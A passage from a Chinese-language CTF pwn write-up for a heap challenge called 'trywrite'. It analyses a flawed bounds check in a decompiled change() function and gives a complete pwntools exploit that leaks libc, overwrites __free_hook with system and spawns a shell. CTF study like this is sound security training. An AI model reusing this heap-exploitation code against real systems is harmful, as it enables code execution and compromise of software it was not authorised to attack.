return struct.pack("@II",first.value,second.value)
def __decode(data,key):
key=struct.unpack("@IIII",key)
length=int(len(data)/4)
data=struct.unpack('@'+"I"*length,data)
temp=""
for i in range(length/2):
temp+=decode(data[2*i],data[2*i+1],key)
return temp

漏洞点:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
void __cdecl change()
{
unsigned __int64 key1_offset; // ST10_8
unsigned __int64 key2_offset; // ST18_8
signed int i; // [rsp+Ch] [rbp-44h]
Message *key1; // [rsp+20h] [rbp-30h]
void *key2; // [rsp+28h] [rbp-28h]
char buf[16]; // [rsp+30h] [rbp-20h]
unsigned __int64 v6; // [rsp+48h] [rbp-8h]

v6 = __readfsqword(0x28u);
puts("I separated the key of each message in two places.");
puts("Only you can tell me exactly where the first key is and how far the second key is from it.");
puts("I'll change them for you.");
puts("Give me how far the first key is from your heap:");
key1_offset = get_ul();
puts("Give me how far the second key is from the first key:");
key2_offset = get_ul();
key1 = (Message *)(heap_addr + key1_offset);
key2 = (void *)(heap_addr + key1_offset + 136);
if ( heap_addr + key1_offset > heap_addr + size[0] - key2_offset || (unsigned __int64)key1 < heap_addr )
{
puts("Sorry~");
}
else
{
memset(buf, 0, 0x10uLL);
puts("Please tell me the new key:");
read_n(buf, 16LL);
my_memcpy(key1, buf, 8);
my_memcpy(key2, &buf[8], 8);
for ( i = 0; i <= 11 && (!ptr[i] || key1 != ptr[i]); ++i )
;
if ( i == 12 )
{
puts("How dare you play with me?");
exit(0);
}
puts("Success!");
}
}

这里可以利用change来达到任意写,但是有两个check:

1
2
3
4
5
6
7
8
9
10
11
12
if ( heap_addr + key1_offset > heap_addr + size[0] - key2_offset || (unsigned __int64)key1 < heap_addr )
{
puts("Sorry~");
}
...
for ( i = 0; i <= 11 && (!ptr[i] || key1 != ptr[i]); ++i )
;
if ( i == 12 )
{
puts("How dare you play with me?");
exit(0);
}

第一个check可以利用key2_offset来绕过:

1
2
3
4
5
6
7
8
9
10
11
12
.text:0000000000001637                 lea     rax, heap_addr
.text:000000000000163E mov rdx, [rax]
.text:0000000000001641 lea rax, size
.text:0000000000001648 mov rax, [rax]
.text:000000000000164B add rax, rdx
.text:000000000000164E sub rax, [rbp+var_38]
.text:0000000000001652 cmp [rbp+key1], rax
.text:0000000000001656 ja loc_1756
.text:000000000000165C lea rax, heap_addr
.text:0000000000001663 mov rax, [rax]
.text:0000000000001666 cmp [rbp+key1], rax
.text:000000000000166A jb loc_1756

这里的比较是无符号数比较,那么可以利用key2_offset来进行溢出

第二个check:输入的key1_offset得到的key1的地址必须能够在ptr数组中找到,这个可以利用change的部分覆写来达到要求:

1
change(0x69,0,'\x00\x07\x01\x00\x00\x00\x00\x69\x00\x07\x01'.ljust(16,'\x00'))


修改后:

写入的时候将0x1070068处存放的地址指向了0x1070050,为后续在这里写入__free_hook打下铺垫,同时部分覆写,将0x1070070处的地址修改为0x1070069,绕过此次写入检查.
然后在0x1070050这里写入free_hook的地址:

1
change(0x50,0,p64(__free_hook)+'\n')

最后写入system即可:

1
change(__free_hook-heap_addr,heap_addr+0x20000+1,p64(system_addr)+'\n')

完整的exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
#coding = utf-8
from pwn import *
from ctypes import *
local = 1
exec_file="./trywrite"
context.binary=exec_file
context.terminal=["tmux","splitw","-h"]
elf=ELF(exec_file)
if local :
a=process(exec_file)
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
else:
a=remote("")

def debug():
gdb.attach(a,'''
b *(0x555555554000+0x0000000000013A3)
b *(0x555555554000+0x0000000000014E2)
b *(0x555555554000+0x00000000000159F)
b *(0x555555554000+0x000000000001777)
b *(0x555555554000+0x000000000001017)
''')
def decode(first,second,key):
first=c_uint32(first)
second=c_uint32(second)
v5=c_uint32(0xe3779b90)
for i in range(16):
second.value -= (first.value + v5.value) ^ (16 * first.value + key[2]) ^ ((first.value >> 5) + key[3])
first.value -= (second.value + v5.value) ^ (16 * second.value + key[0]) ^ ((second.value >> 5) + key[1])
v5.value -= 0x9E3779B9
return struct.pack("@II",first.value,second.value)
def __decode(data,key):
key=struct.unpack("@IIII",key)
length=int(len(data)/4)
data=struct.unpack('@'+"I"*length,data)
temp=""
for i in range(length/2):
temp+=decode(data[2*i],data[2*i+1],key)
return temp
def menu(idx):
a.sendlineafter("command>> \n",str(idx))
def add(key,data):
menu(1)
a.sendafter("Please tell me the key:\n",key)
a.sendafter("e the date:",data)
def delete(idx):
menu(3)
a.sendlineafter("Please tell me the index:\n",str(idx))
def show(idx):
menu(2)
a.sendlineafter("Please tell me the index:\n",str(idx))
def change(offset_1,offset_2,new_key):
menu(4)
a.sendlineafter("first key is from your heap:\n",str(offset_1))
a.sendlineafter("first key:\n",str(offset_2))
a.sendafter("Please tell me the new key:\n",new_key)
def init(heap):
a.sendlineafter("Please tell me where is your heap:\n",heap)
a.sendlineafter("Do you want to tell me your name now?(Y/N)\n","Y")
a.sendline('AAA')


heap_addr=0x1070000
key='A'*16
init(str(0xFF0000))

for i in range(9):
add(key,"A\n")
for i in range(8):
delete(i)
add(key,";/bin/sh\x00\n")
for i in range(7):
add(key,'\n')
#debug()
show(7)
data=a.recv(0x80)
data = __decode(data, key)
libc_base = u64(data[0:8])- 0x3ebc00
success("libc_base ==> 0x%x"%libc_base)
change(0x69,0,'\x00\x07\x01\x00\x00\x00\x00\x69\x00\x07\x01'.ljust(16,'\x00'))
#debug()
__free_hook=libc_base+libc.symbols["__free_hook"]
system_addr=libc_base+libc.symbols["system"]
change(0x50,0,p64(__free_hook)+'\n')

change(__free_hook-heap_addr,heap_addr+0x20000+1,p64(system_addr)+'\n')
delete(0)
a.interactive()